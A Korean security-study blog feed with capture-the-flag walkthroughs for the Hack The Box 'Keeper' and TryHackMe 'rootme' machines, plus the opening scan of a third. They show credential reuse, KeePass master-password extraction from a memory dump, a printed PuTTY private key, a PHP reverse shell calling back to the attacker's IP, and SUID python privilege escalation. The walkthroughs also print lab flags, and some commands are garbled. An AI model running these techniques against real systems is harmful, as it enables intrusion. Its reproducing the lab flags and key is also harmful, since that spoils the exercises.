      <description>&lt;figure id=&quot;og_1707384825076&quot; contenteditable=&quot;false&quot; data-ke-type=&quot;opengraph&quot; data-ke-align=&quot;alignCenter&quot; data-og-type=&quot;website&quot; data-og-title=&quot;Hack The Box&quot; data-og-description=&quot;&quot; data-og-host=&quot;app.hackthebox.com&quot; data-og-source-url=&quot;https://app.hackthebox.com/machines/556&quot; data-og-url=&quot;https://app.hackthebox.com/machines/556&quot; data-og-image=&quot;&quot;&gt;&lt;a href=&quot;https://app.hackthebox.com/machines/556&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot; data-source-url=&quot;https://app.hackthebox.com/machines/556&quot;&gt;
&lt;div class=&quot;og-image&quot; style=&quot;background-image: url();&quot;&gt;&amp;nbsp;&lt;/div&gt;
&lt;div class=&quot;og-text&quot;&gt;
&lt;p class=&quot;og-title&quot; data-ke-size=&quot;size16&quot;&gt;Hack The Box&lt;/p&gt;
&lt;p class=&quot;og-desc&quot; data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p class=&quot;og-host&quot; data-ke-size=&quot;size16&quot;&gt;app.hackthebox.com&lt;/p&gt;
&lt;/div&gt;
&lt;/a&gt;&lt;/figure&gt;
&lt;pre id=&quot;code_1707384543547&quot; class=&quot;shell&quot; data-ke-language=&quot;shell&quot; data-ke-type=&quot;codeblock&quot;&gt;&lt;code&gt;=====================
# 공격대상 : 10.10.11.227
# 공격자 : 10.10.14.137
=========================&lt;/code&gt;&lt;/pre&gt;
&lt;hr contenteditable=&quot;false&quot; data-ke-type=&quot;horizontalRule&quot; data-ke-style=&quot;style5&quot; /&gt;
&lt;pre id=&quot;code_1707384557819&quot; class=&quot;shell&quot; data-ke-language=&quot;shell&quot; data-ke-type=&quot;codeblock&quot;&gt;&lt;code&gt;=========================================================================================
|                                   1. 포트 스캐닝                                      | 
=========================================================================================
# nmap의 핑 프로브를 차단하고 있음
┌──(kali㉿kali)-[~/keeper]
└─$ nmap -A 10.10.11.227 -T5
----------------------------------------------------------------------------------                           
Starting Nmap 7.93 ( https://nmap.org ) at 2024-02-07 08:39 EST
Note: Host seems down. If it is really up, but blocking our ping probes, try -Pn
Nmap done: 1 IP address (0 hosts up) scanned in 2.47 seconds
----------------------------------------------------------------------------------


# -Pn : 핑 프로브 없이 스캔을 수행할 수 있음
┌──(kali㉿kali)-[~/keeper]
└─$ nmap -Pn 10.10.11.227 -T5                   
----------------------
PORT   STATE SERVICE
22/tcp open  ssh
80/tcp open  http
----------------------


┌──(kali㉿kali)-[~/keeper]
└─$ nmap -Pn -A 10.10.11.227 -T5 -p 22,80 -oA keeper_ps  
-----------------------------------------------------------------------------------
PORT   STATE SERVICE VERSION
22/tcp open  ssh     OpenSSH 8.9p1 Ubuntu 3ubuntu0.3 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey: 
|   256 3539d439404b1f6186dd7c37bb4b989e (ECDSA)
|_  256 1ae972be8bb105d5effedd80d8efc066 (ED25519)
80/tcp open  http    nginx 1.18.0 (Ubuntu)
|_http-title: Site doesn't have a title (text/html).
|_http-server-header: nginx/1.18.0 (Ubuntu)
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
-----------------------------------------------------------------------------------&lt;/code&gt;&lt;/pre&gt;
&lt;hr contenteditable=&quot;false&quot; data-ke-type=&quot;horizontalRule&quot; data-ke-style=&quot;style5&quot; /&gt;
&lt;pre id=&quot;code_1707384587947&quot; class=&quot;shell&quot; data-ke-language=&quot;shell&quot; data-ke-type=&quot;codeblock&quot;&gt;&lt;code&gt;=========================================================================================
|                                   2. 웹 페이지 진단                                   | 
=========================================================================================
# firefox 열고 'http://10.10.11.227' 실행하면 *.keeper.* 도메인이 변경되면서 인식 못함
--------------------------------------------------------
firefox : 'http://10.10.11.227' error
--------------------------------------------------------


# /etc/hosts에서 IP주소와 도메인주소 매핑해줌.
# *.keeper.* 도메인 주소가 공격대상(10.10.11.227)로 인식되면서 접속 됨.
┌──(kali㉿kali)-[~/keeper]
└─$ cat /etc/hosts
-----------------------------------
10.10.11.227	tickets.keeper.htb
10.10.11.227	keeper.htb
-----------------------------------


# 접속하면 로그인 페이지가 뜨게되는데 기본 id, pw로 이루어져 있음
---------------------------------------------------
Login				4.4.4+dfsg-2ubuntu1
---------------------------------------------------
	Username : root
	Passwrod : password
---------------------------------------------------
					Login
---------------------------------------------------


# 상위 메뉴에서 'Admin - Users'이 유독 눈에 들어옴
# 'lnorgaard', 'root' 계정이 있는데 'lnorgaard'은 'Welcome2023!' 패스워드 알 수 있음.&lt;/code&gt;&lt;/pre&gt;
&lt;hr contenteditable=&quot;false&quot; data-ke-type=&quot;horizontalRule&quot; data-ke-style=&quot;style5&quot; /&gt;
&lt;pre id=&quot;code_1707384603201&quot; class=&quot;shell&quot; data-ke-language=&quot;shell&quot; data-ke-type=&quot;codeblock&quot;&gt;&lt;code&gt;==========================================================================================
|                                   3. guest 계정 접속                                   | 
==========================================================================================
# 'lnorgaard'계정으로 공격대상에 접속
┌──(kali㉿kali)-[~/keeper]
└─$ ssh lnorgaard@10.10.11.227 


# user.txt 플래그 찾을 수 있음
lnorgaard@keeper:~$ ls -alh
--------------------------------------------------------------
-rw-r----- 1 root      lnorgaard   33 Feb  7 11:22 user.txt
-rw-r--r-- 1 root      root       84M Feb  7 14:58 RT30000.zip
--------------------------------------------------------------

lnorgaard@keeper:~$ cat user.txt
---------------------------------
dfd647a85990780c39e000c082cd728a
---------------------------------&lt;/code&gt;&lt;/pre&gt;
&lt;hr contenteditable=&quot;false&quot; data-ke-type=&quot;horizontalRule&quot; data-ke-style=&quot;style5&quot; /&gt;
&lt;pre id=&quot;code_1707384615674&quot; class=&quot;shell&quot; data-ke-language=&quot;shell&quot; data-ke-type=&quot;codeblock&quot;&gt;&lt;code&gt;===========================================================================================
|                                   4. RT30000.zip 분석                                   | 
===========================================================================================
# 무려 84MB 사이즈의 RT30000.zip 파일이 눈에 뜀
--------------------------------------------------------------
-rw-r--r-- 1 root      root       84M Feb  7 14:58 RT30000.zip
--------------------------------------------------------------


# 공격대상(lnorgaard@10.10.11.227)에서 공격자(kali)로 RT30000.zip 파일 가져오기(원격에서는 도구 사용하기 힘듬)
# scp는 용량이 커서 그런가 32%에서 멈춤
┌──(kali㉿kali)-[~/keeper]                                                                    
└─$ rsync -avz -e ssh lnorgaard@10.10.11.227:/home/lnorgaard/RT30000.zip . 


┌──(kali㉿kali)-[~/keeper]                                                                    
└─$ unzip RT30000.zip
---------------------------------                                                                         
Archive:  RT30000.zip                                                                         
  inflating: KeePassDumpFull.dmp                                                                                          
  extracting: passcodes.kdbx 
---------------------------------&lt;/code&gt;&lt;/pre&gt;
&lt;hr contenteditable=&quot;false&quot; data-ke-type=&quot;horizontalRule&quot; data-ke-style=&quot;style5&quot; /&gt;
&lt;pre id=&quot;code_1707384633187&quot; class=&quot;shell&quot; data-ke-language=&quot;shell&quot; data-ke-type=&quot;codeblock&quot;&gt;&lt;code&gt;=====================================================================================================
|                                   4-1. KeePassDumpFull.dmp 분석                                   | 
=====================================================================================================
# 'passcodes.kdbx' 열기 위해서 'keepassxc' 설치
# Application =&amp;gt; keepassxc 실행 =&amp;gt; 상단에 Database =&amp;gt; Open Database =&amp;gt; 'passcodes.kdbx'
# 그런데!! 패스워드가 필요함
┌──(kali㉿kali)-[~/keeper]
└─$ sudo apt-get install keepassxc


# KeePassDumpFull.dmp에서 'passcodes.kdbx'패스워드를 추출할꺼임
# KeePass Master Password Dumper는 KeePass의 메모리에서 마스터 비밀번호를 추출하기 위한 간단한 증명 개념 도구
┌──(kali㉿kali)-[~/keeper]                                                                    
└─$ wgetwget https://packages.microsoft.com/config/ubuntu/20.04/packages-microsoft-prod.deb -O packages-microsoft-prod.deb 


┌──(kali㉿kali)-[~/keeper]                                                                    
└─$ wgetsudo dpkg -i packages-microsoft-prod.deb


┌──(kali㉿kali)-[~/keeper]                                                                    
└─$ wgetsudo apt-get install -y apt-transport-https


┌──(kali㉿kali)-[~/keeper]                                                                    
└─$ wgetsudo apt-get install -y dotnet-sdk-7.0 


┌──(kali㉿kali)-[~/keeper]
└─$ dotnet --version


┌──(kali㉿kali)-[~/keeper]
└─$ git clone https://github.com/vdohney/keepass-password-dumper 


┌──(kali㉿kali)-[~/keeper]
└─$ cd keepass-password-dumper


┌──(kali㉿kali)-[~/keeper/keepass-password-dumper]
└─$ dotnet run KeePassDumpFull.dmp
-------------------------------------------------------------------------------
Combined: ●{&amp;oslash;, &amp;Iuml;, ,, l, `, -, ', ], &amp;sect;, A, I, :, =, _, c, M}dgr&amp;oslash;d med fl&amp;oslash;de
-------------------------------------------------------------------------------


# 'M}dgr&amp;oslash;d med fl&amp;oslash;de' 구글링 하니까 'r&amp;oslash;dgr&amp;oslash;d med fl&amp;oslash;de'로 변경되고 덴마크의 디저트랍니다.
--------------------------------------------------------
Google : 'M}dgr&amp;oslash;d med fl&amp;oslash;de' =&amp;gt; 'r&amp;oslash;dgr&amp;oslash;d med fl&amp;oslash;de'
--------------------------------------------------------&lt;/code&gt;&lt;/pre&gt;
&lt;hr contenteditable=&quot;false&quot; data-ke-type=&quot;horizontalRule&quot; data-ke-style=&quot;style5&quot; /&gt;
&lt;pre id=&quot;code_1707384649372&quot; class=&quot;shell&quot; data-ke-language=&quot;shell&quot; data-ke-type=&quot;codeblock&quot;&gt;&lt;code&gt;===================================================================================================================
|                                   4-2. passcodes.kdbx 로그인 및 root 계정 접속                                  | 
===================================================================================================================
# 다시, Application =&amp;gt; keepassxc 실행 =&amp;gt; 상단에 Database =&amp;gt; Open Database =&amp;gt; 'passcodes.kdbx'
# 패스워드 'r&amp;oslash;dgr&amp;oslash;d med fl&amp;oslash;de'입력
# 왼쪽 메뉴에 Network 클릭하고 root 클릭하면 'root'의 'F4&amp;gt;&amp;lt;3K0nd!' 패스워드 확인가능
# ssh 접속하는데 안됨
┌──(kali㉿kali)-[~/keeper]
└─$ ssh root@10.10.11.227
------------------------------------
root@10.10.11.227's password:                                                                 
Permission denied, please try again. 
------------------------------------


# Notes 확인해보자.
# 해당 Notes는 Putty에서 사용하는 키(.PPK)임. 
# 그래서 openssh에서 지원하는 형식의 개인키로 변경해줘야 됨. 
------------------------------------------------------------------------------
PuTTY-User-Key-File-3: ssh-rsa
Encryption: none
Comment: rsa-key-20230519
Public-Lines: 6
AAAAB3NzaC1yc2EAAAADAQABAAABAQCnVqse/hMswGBRQsPsC/EwyxJvc8Wpul/D
8riCZV30ZbfEF09z0PNUn4DisesKB4x1KtqH0l8vPtRRiEzsBbn+mCpBLHBQ+81T
EHTc3ChyRYxk899PKSSqKDxUTZeFJ4FBAXqIxoJdpLHIMvh7ZyJNAy34lfcFC+LM
Cj/c6tQa2IaFfqcVJ+2bnR6UrUVRB4thmJca29JAq2p9BkdDGsiH8F8eanIBA1Tu
FVbUt2CenSUPDUAw7wIL56qC28w6q/qhm2LGOxXup6+LOjxGNNtA2zJ38P1FTfZQ
LxFVTWUKT8u8junnLk0kfnM4+bJ8g7MXLqbrtsgr5ywF6Ccxs0Et
Private-Lines: 14
AAABAQCB0dgBvETt8/UFNdG/X2hnXTPZKSzQxxkicDw6VR+1ye/t/dOS2yjbnr6j
oDni1wZdo7hTpJ5ZjdmzwxVCChNIc45cb3hXK3IYHe07psTuGgyYCSZWSGn8ZCih
kmyZTZOV9eq1D6P1uB6AXSKuwc03h97zOoyf6p+xgcYXwkp44/otK4ScF2hEputY
f7n24kvL0WlBQThsiLkKcz3/Cz7BdCkn+Lvf8iyA6VF0p14cFTM9Lsd7t/plLJzT
VkCew1DZuYnYOGQxHYW6WQ4V6rCwpsMSMLD450XJ4zfGLN8aw5KO1/TccbTgWivz
UXjcCAviPpmSXB19UG8JlTpgORyhAAAAgQD2kfhSA+/ASrc04ZIVagCge1Qq8iWs
OxG8eoCMW8DhhbvL6YKAfEvj3xeahXexlVwUOcDXO7Ti0QSV2sUw7E71cvl/ExGz
in6qyp3R4yAaV7PiMtLTgBkqs4AA3rcJZpJb01AZB8TBK91QIZGOswi3/uYrIZ1r
SsGN1FbK/meH9QAAAIEArbz8aWansqPtE+6Ye8Nq3G2R1PYhp5yXpxiE89L87NIV
09ygQ7Aec+C24TOykiwyPaOBlmMe+Nyaxss/gc7o9TnHNPFJ5iRyiXagT4E2WEEa
xHhv1PDdSrE8tB9V8ox1kxBrxAvYIZgceHRFrwPrF823PeNWLC2BNwEId0G76VkA
AACAVWJoksugJOovtA27Bamd7NRPvIa4dsMaQeXckVh19/TF8oZMDuJoiGyq6faD
AF9Z7Oehlo1Qt7oqGr8cVLbOT8aLqqbcax9nSKE67n7I5zrfoGynLzYkd3cETnGy
NNkjMjrocfmxfkvuJ7smEFMg7ZywW7CBWKGozgz67tKz9Is=
Private-MAC: b0a0fd2edf4f0e557200121aa673732c9e76750739db05adc3ab65ec34c55cb0
------------------------------------------------------------------------------


# Notes을 'putty_private_key.ppk'에 복사 붙여넣기 해줌
┌──(kali㉿kali)-[~/keeper]
└─$ sudo mousepad putty_private_key.ppk


# 'putty_private_key.ppk'을 'private-openssh' 형식의 'openssh_private_key' 이름으로 변경해줌
┌──(kali㉿kali)-[~/keeper]
└─$ puttygen putty_private_key.ppk -O private-openssh -o openssh_private_key


# 'openssh_private_key'로 root@10.10.11.227 접속
┌──(kali㉿kali)-[~/keeper]
└─$ ssh -i openssh_private_key root@10.10.11.227

 
root@keeper:~# id
--------------------------------------
uid=0(root) gid=0(root) groups=0(root)
--------------------------------------


root@keeper:~# ls -alh
--------------------------------------------------
-rw-r-----  1 root root   33 Feb  8 07:26 root.txt
--------------------------------------------------


root@keeper:~# cat root.txt
---------------------------------
0d232ade59997522256769bc91656bfc
---------------------------------&lt;/code&gt;&lt;/pre&gt;</description>
      <category>문제풀이/Hack The Box</category>
      <author>Kwon Oh! JUN</author>
      <guid isPermaLink="true">https://securitystudy.tistory.com/160</guid>
      <comments>https://securitystudy.tistory.com/160#entry160comment</comments>
      <pubDate>Thu, 8 Feb 2024 18:33:55 +0900</pubDate>
    </item>
    <item>
      <title>[redraccoon] ## rootme ##</title>
      <link>https://securitystudy.tistory.com/159</link>
      <description>&lt;figure id=&quot;og_1707290928557&quot; contenteditable=&quot;false&quot; data-ke-type=&quot;opengraph&quot; data-ke-align=&quot;alignCenter&quot; data-og-type=&quot;website&quot; data-og-title=&quot;TryHackMe | 모의해킹 기초&quot; data-og-description=&quot;레드라쿤 모의해킹 기초 실습방&quot; data-og-host=&quot;tryhackme.com&quot; data-og-source-url=&quot;https://tryhackme.com/room/grootsecurity&quot; data-og-url=&quot;https://tryhackme.com/room/grootsecurity&quot; data-og-image=&quot;https://scrap.kakaocdn.net/dn/bonAWe/hyVjeHgb6i/H2ivm4mkjuEfDKsu2tDS3k/img.png?width=500&amp;amp;height=500&amp;amp;face=0_0_500_500,https://scrap.kakaocdn.net/dn/bMkmuI/hyVf5L0m0I/y8QkeXdngVal1iOkipiNRk/img.png?width=1200&amp;amp;height=630&amp;amp;face=0_0_1200_630,https://scrap.kakaocdn.net/dn/u8Lut/hyVf1W42KP/2anQ6b1CboCNUeG83HXNvK/img.png?width=1920&amp;amp;height=300&amp;amp;face=0_0_1920_300&quot;&gt;&lt;a href=&quot;https://tryhackme.com/room/grootsecurity&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot; data-source-url=&quot;https://tryhackme.com/room/grootsecurity&quot;&gt;
&lt;div class=&quot;og-image&quot; style=&quot;background-image: url('https://scrap.kakaocdn.net/dn/bonAWe/hyVjeHgb6i/H2ivm4mkjuEfDKsu2tDS3k/img.png?width=500&amp;amp;height=500&amp;amp;face=0_0_500_500,https://scrap.kakaocdn.net/dn/bMkmuI/hyVf5L0m0I/y8QkeXdngVal1iOkipiNRk/img.png?width=1200&amp;amp;height=630&amp;amp;face=0_0_1200_630,https://scrap.kakaocdn.net/dn/u8Lut/hyVf1W42KP/2anQ6b1CboCNUeG83HXNvK/img.png?width=1920&amp;amp;height=300&amp;amp;face=0_0_1920_300');&quot;&gt;&amp;nbsp;&lt;/div&gt;
&lt;div class=&quot;og-text&quot;&gt;
&lt;p class=&quot;og-title&quot; data-ke-size=&quot;size16&quot;&gt;TryHackMe | 모의해킹 기초&lt;/p&gt;
&lt;p class=&quot;og-desc&quot; data-ke-size=&quot;size16&quot;&gt;레드라쿤 모의해킹 기초 실습방&lt;/p&gt;
&lt;p class=&quot;og-host&quot; data-ke-size=&quot;size16&quot;&gt;tryhackme.com&lt;/p&gt;
&lt;/div&gt;
&lt;/a&gt;&lt;/figure&gt;
&lt;pre id=&quot;code_1707290809413&quot; class=&quot;shell&quot; data-ke-language=&quot;shell&quot; data-ke-type=&quot;codeblock&quot;&gt;&lt;code&gt;[rootme]

sudo nmap -sV 10.10.226.25 -T4
---------------------------------------------------------------------------------                                                          
[sudo] password for kali:                                                                     
Starting Nmap 7.93 ( https://nmap.org ) at 2024-02-06 23:55 EST                               
Nmap scan report for 10.10.226.25                                                             
Host is up (0.47s latency).                                                                   
Not shown: 998 closed tcp ports (reset)                                                       
PORT   STATE SERVICE VERSION                                                                  
22/tcp open  ssh     OpenSSH 7.6p1 Ubuntu 4ubuntu0.3 (Ubuntu Linux; protocol 2.0)             
80/tcp open  http    Apache httpd 2.4.29 ((Ubuntu))                                           
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel                                       
                                                                                              
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 50.05 seconds 
---------------------------------------------------------------------------------


sudo nmap -A 10.10.226.25 -T5 -p 22,80
---------------------------------------------------------------------------------                                                 
Starting Nmap 7.93 ( https://nmap.org ) at 2024-02-07 00:07 EST
Nmap scan report for 10.10.226.25
Host is up (0.35s latency).

PORT   STATE SERVICE VERSION
22/tcp open  ssh     OpenSSH 7.6p1 Ubuntu 4ubuntu0.3 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey: 
|   2048 4ab9160884c25448ba5cfd3f225f2214 (RSA)
|   256 a9a686e8ec96c3f003cd16d54973d082 (ECDSA)
|_  256 22f6b5a654d9787c26035a95f3f9dfcd (ED25519)
80/tcp open  http    Apache httpd 2.4.29 ((Ubuntu))
|_http-server-header: Apache/2.4.29 (Ubuntu)
|_http-title: HackIT - Home
| http-cookie-flags: 
|   /: 
|     PHPSESSID: 
|_      httponly flag not set
Warning: OSScan results may be unreliable because we could not find at least 1 open and 1 clos
ed port                
Aggressive OS guesses: Linux 3.1 (94%), Linux 3.2 (94%), AXIS 210A or 211 Network Camera (Linu
x 2.6.17) (94%), ASUS RT-N56U WAP (Linux 3.4) (93%), Linux 3.16 (93%), Linux 2.6.32 (92%), Lin
ux 2.6.39 - 3.2 (92%), Linux 3.1 - 3.2 (92%), Linux 3.2 - 4.9 (92%), Linux 3.7 - 3.10 (92%)
No exact OS matches for host (test conditions non-ideal).
Network Distance: 4 hops
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

TRACEROUTE (using port 22/tcp)
HOP RTT       ADDRESS
1   152.60 ms 10.4.0.1
2   ... 3
4   407.76 ms 10.10.226.25

OS and Service detection performed. Please report any incorrect results at https://nmap.org/su
bmit/ .                
Nmap done: 1 IP address (1 host up) scanned in 46.14 seconds
---------------------------------------------------------------------------------


# 'http://10.10.226.25/' 사이트 대상으로 /usr/share/wordlists/dirb/common.txt의 wordlist 사용해서 디렉터리 브루트 포싱하기 
gobuster dir -u http://10.10.226.25/ -w /usr/share/wordlists/dirb/common.txt -f -x php -t 100                                                                                           
=============================================================== 
Gobuster v3.6                                                                        [174/277]
by OJ Reeves (@TheColonial) &amp;amp; Christian Mehlmauer (@firefart)                                 
===============================================================                               
[+] Url:                     http://10.10.226.25/                                             
[+] Method:                  GET                                                              
[+] Threads:                 100                                                              
[+] Wordlist:                /usr/share/wordlists/dirb/common.txt                             
[+] Negative Status codes:   404
[+] User Agent:              gobuster/3.6
[+] Extensions:              php
[+] Add Slash:               true
[+] Timeout:                 10s
===============================================================
Starting gobuster in directory enumeration mode
===============================================================
/.php/                (Status: 403) [Size: 277]
/.htpasswd/           (Status: 403) [Size: 277]
/.htpasswd.php/       (Status: 403) [Size: 277]
/.htaccess/           (Status: 403) [Size: 277]
/.hta/                (Status: 403) [Size: 277]
/.hta.php/            (Status: 403) [Size: 277]
/.htaccess.php/       (Status: 403) [Size: 277]
Progress: 2171 / 9230 (23.52%)[ERROR] Get &quot;http://10.10.226.25/activeCollab/&quot;: context deadlin
e exceeded (Client.Timeout exceeded while awaiting headers)
/css/                 (Status: 200) [Size: 1125]
/icons/               (Status: 403) [Size: 277]
/index.php/           (Status: 200) [Size: 616]
/index.php/           (Status: 200) [Size: 616]
/js/                  (Status: 200) [Size: 958]
/panel/               (Status: 200) [Size: 732]
/server-status/       (Status: 403) [Size: 277]
Progress: 7867 / 9230 (85.23%)[ERROR] Get &quot;http://10.10.226.25/press_releases/&quot;: context deadl
ine exceeded (Client.Timeout exceeded while awaiting headers)
/uploads/             (Status: 200) [Size: 743]
Progress: 9228 / 9230 (99.98%)[ERROR] Get &quot;http://10.10.226.25/Super-Admin/&quot;: context deadline
 exceeded (Client.Timeout exceeded while awaiting headers)
Progress: 9228 / 9230 (99.98%)
===============================================================
Finished
===============================================================


# 파일 업로드 기능 페이지
http://10.10.226.25/panel/


# 파일 업로드 확인 페이지
http://10.10.226.25/uploads/
--------------------------------------------------------
Index of /uploads
======================================================
	Name	Last modified	Size	Description
======================================================
Parent Directory	 	- 	 
php-reverse-shell.php5	2024-02-07 05:43 	5.4K	 
======================================================
Apache/2.4.29 (Ubuntu) Server at 10.10.226.25 Port 80
--------------------------------------------------------

# .php reverse shell 파일 찾기
find / -name &quot;*php-reverse-shell*&quot; 2&amp;gt;/dev/null
--------------------------------------------------------------
/usr/share/webshells/php/php-reverse-shell.php
/usr/share/laudanum/wordpress/templates/php-reverse-shell.php
/usr/share/laudanum/php/php-reverse-shell.php
--------------------------------------------------------------


sudo mousepad php-reverse-shell.php 
----------------------------------------
$VERSION = &quot;1.0&quot;;
$ip = '10.4.61.73';  // 본인 VPN IP
$port = 1234;       // 상관없음
$chunk_size = 1400;
$write_a = null;
$error_a = null;
$shell = 'uname -a; w; id; /bin/sh -i';
$daemon = 0;
$debug = 0;
----------------------------------------

# 해당 웹 페이지에서 'php-reverse-shell.php'업로드하기
http://10.10.226.25/panel/


# 업로드가 안됨.
# php =&amp;gt; php5로 확장자 변경하고 다시 업로드
cp php-reverse-shell.php php-reverse-shell.php5


# 공격대상에서 리버스 받을 포트 열어놓기
nc -lvnp 1234
-----------------------------                                                                        
listening on [any] 1234 ...
-----------------------------


# 헤당 웹 페이지에서 'php-reverse-shell.php5'실행
http://10.10.226.25/uploads/
-----------------------------------------------------------------------------------------------
listening on [any] 1234 ...                                                                   
connect to [10.4.61.73] from (UNKNOWN) [10.10.226.25] 36320                                   
Linux rootme 4.15.0-112-generic #113-Ubuntu SMP Thu Jul 9 23:41:39 UTC 2020 x86_64 x86_64 x86_
64 GNU/Linux                                                                                  
 05:47:49 up 54 min,  0 users,  load average: 0.00, 0.00, 0.01                                
USER     TTY      FROM             LOGIN@   IDLE   JCPU   PCPU WHAT                           
uid=33(www-data) gid=33(www-data) groups=33(www-data)                                         
/bin/sh: 0: can't access tty; job control turned off  
-----------------------------------------------------------------------------------------------

# Python 스크립트를 사용하여 새로운 bash 쉘 세션을 생성하는 명령어
$ python3 -c 'import pty;pty.spawn(&quot;/bin/bash&quot;)'
-------------------
www-data@rootme:/$ 
-------------------


# 'LinEnum.sh' 코드를 kali로 가져옴
# 'LinEnum.sh': 리눅스 시스템에서 정보 수집과 취약점 탐색을 도와주는 스크립트
wget https://raw.githubusercontent.com/rebootuser/LinEnum/master/LinEnum.sh


# 'kali'에서 웹 8443포트 열음(공격대상에서 직접 못 받아와서 'kali'을 통해 'LinEnum.sh' 받으려고)
python3 -m http.server 8443


# /dev/shm : 휘발성 디렉토리로 재부팅하면 삭제됨, 보안 취약점을 이용한 공격에서 임시 파일을 저장하는 공간으로 사용
www-data@rootme:/$ cd /dev/shm 


# 'kali'에서 LinEnum.sh 가져옴
www-data@rootme:/dev/shm$ wget http://10.4.61.73:8443/LinEnum.sh


# 실행 권한 부여
www-data@rootme:/dev/shm$ chmod +x ./LinEnum.sh


# LinEnum.sh 실행
# /usr/bin/python 파일은 SUID가 설정됨.
www-data@rootme:/dev/shm$ ./LinEnum.sh
------------------------------------------------------------
[+] Possibly interesting SUID files:
-rwsr-sr-x 1 root root 3665768 Aug  4  2020 /usr/bin/python
------------------------------------------------------------


# Python 스크립트를 사용하여 새로운 쉘 세션을 생성하고, 이 쉘 세션에서는 부모 프로세스의 권한을 상속
# 결과를 분석해 보면, www-data 사용자로 로그인되어 있지만, 유효 사용자 ID와 유효 그룹 ID는 root(0)로, root 권한을 얻었음을 보여줌. 이는 일반적으로 시스템에서 보안 취약점을 이용하여 권한 상승(privilege escalation)을 수행했음을 의미
# 참고 : https://gtfobins.github.io/gtfobins/python/#suid
www-data@rootme:/$ python -c 'import os; os.execl(&quot;/bin/sh&quot;, &quot;sh&quot;, &quot;-p&quot;)'
---------------------------------------------------------------------------------------
python -c 'import os; os.execl(&quot;/bin/sh&quot;, &quot;sh&quot;, &quot;-p&quot;)'
# id
id
uid=33(www-data) gid=33(www-data) euid=0(root) egid=0(root) groups=0(root),33(www-data)
---------------------------------------------------------------------------------------


# find / -name &quot;user.txt&quot; 2&amp;gt;/dev/null
------------------------------------
find / -name &quot;user.txt&quot; 2&amp;gt;/dev/null
/var/www/user.txt
------------------------------------


# cat /var/www/user.txt
-----------------------
cat /var/www/user.txt
THM{y0u_g0t_a_sh3ll}
-----------------------


# find / -name &quot;root.txt&quot; 2&amp;gt;/dev/null
------------------------------------
find / -name &quot;root.txt&quot; 2&amp;gt;/dev/null
/root/root.txt
------------------------------------


# cat /root/root.txt
--------------------------
cat /root/root.txt
THM{pr1v1l3g3_3sc4l4t10n}
--------------------------&lt;/code&gt;&lt;/pre&gt;</description>
      <category>문제풀이/Redraccoon</category>
      <author>Kwon Oh! JUN</author>
      <guid isPermaLink="true">https://securitystudy.tistory.com/159</guid>
      <comments>https://securitystudy.tistory.com/159#entry159comment</comments>
      <pubDate>Wed, 7 Feb 2024 16:29:06 +0900</pubDate>
    </item>
    <item>
      <title>[redraccoon] ## Catch me if you can ##</title>
      <link>https://securitystudy.tistory.com/158</link>
      <description>&lt;figure id=&quot;og_1707230614436&quot; contenteditable=&quot;false&quot; data-ke-type=&quot;opengraph&quot; data-ke-align=&quot;alignCenter&quot; data-og-type=&quot;website&quot; data-og-title=&quot;TryHackMe | 모의해킹 기초&quot; data-og-description=&quot;레드라쿤 모의해킹 기초 실습방&quot; data-og-host=&quot;tryhackme.com&quot; data-og-source-url=&quot;https://tryhackme.com/room/grootsecurity#&quot; data-og-url=&quot;https://tryhackme.com/room/grootsecurity&quot; data-og-image=&quot;https://scrap.kakaocdn.net/dn/KrhqQ/hyVf82HKDc/AHjMsuFsUQQkT4h6OxP0i0/img.png?width=500&amp;amp;height=500&amp;amp;face=0_0_500_500,https://scrap.kakaocdn.net/dn/lQ9jR/hyVgcxgFhP/IK20TpvfLN60U4d1iQz231/img.png?width=1200&amp;amp;height=630&amp;amp;face=0_0_1200_630,https://scrap.kakaocdn.net/dn/jwmDF/hyVgcxgFgT/OsAqrPJjip7aPUvHgahoPk/img.png?width=1920&amp;amp;height=300&amp;amp;face=0_0_1920_300&quot;&gt;&lt;a href=&quot;https://tryhackme.com/room/grootsecurity#&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot; data-source-url=&quot;https://tryhackme.com/room/grootsecurity#&quot;&gt;
&lt;div class=&quot;og-image&quot; style=&quot;background-image: url('https://scrap.kakaocdn.net/dn/KrhqQ/hyVf82HKDc/AHjMsuFsUQQkT4h6OxP0i0/img.png?width=500&amp;amp;height=500&amp;amp;face=0_0_500_500,https://scrap.kakaocdn.net/dn/lQ9jR/hyVgcxgFhP/IK20TpvfLN60U4d1iQz231/img.png?width=1200&amp;amp;height=630&amp;amp;face=0_0_1200_630,https://scrap.kakaocdn.net/dn/jwmDF/hyVgcxgFgT/OsAqrPJjip7aPUvHgahoPk/img.png?width=1920&amp;amp;height=300&amp;amp;face=0_0_1920_300');&quot;&gt;&amp;nbsp;&lt;/div&gt;
&lt;div class=&quot;og-text&quot;&gt;
&lt;p class=&quot;og-title&quot; data-ke-size=&quot;size16&quot;&gt;TryHackMe | 모의해킹 기초&lt;/p&gt;
&lt;p class=&quot;og-desc&quot; data-ke-size=&quot;size16&quot;&gt;레드라쿤 모의해킹 기초 실습방&lt;/p&gt;
&lt;p class=&quot;og-host&quot; data-ke-size=&quot;size16&quot;&gt;tryhackme.com&lt;/p&gt;
&lt;/div&gt;
&lt;/a&gt;&lt;/figure&gt;
&lt;pre id=&quot;code_1707230509766&quot; class=&quot;shell&quot; data-ke-language=&quot;shell&quot; data-ke-type=&quot;codeblock&quot;&gt;&lt;code&gt;[Cath Me If You Can]

sudo nmap 10.10.247.147 -sS -T4
----------------------
PORT   STATE SERVICE
21/tcp open  ftp
22/tcp open  ssh
80/tcp open  http
----------------------


sudo nmap 10.10.247.147 -sV -T4 -sC -p 21,22,80
----------------------------------------------------------------------------------
PORT   STATE SERVICE VERSION
21/tcp open  ftp     vsftpd 3.0.3
| ftp-syst: 
|   STAT: 
| FTP server status:
|      Connected to ::ffff:10.4.61.73
|      Logged in as ftp
|      TYPE: ASCII
|      No session bandwidth limit
|      Session timeout in seconds is 300
|      Control connection is plain text
|      Data connections will be plain text
|      At session startup, client count was 2
|      vsFTPd 3.0.3 - secure, fast, stable
|_End of status
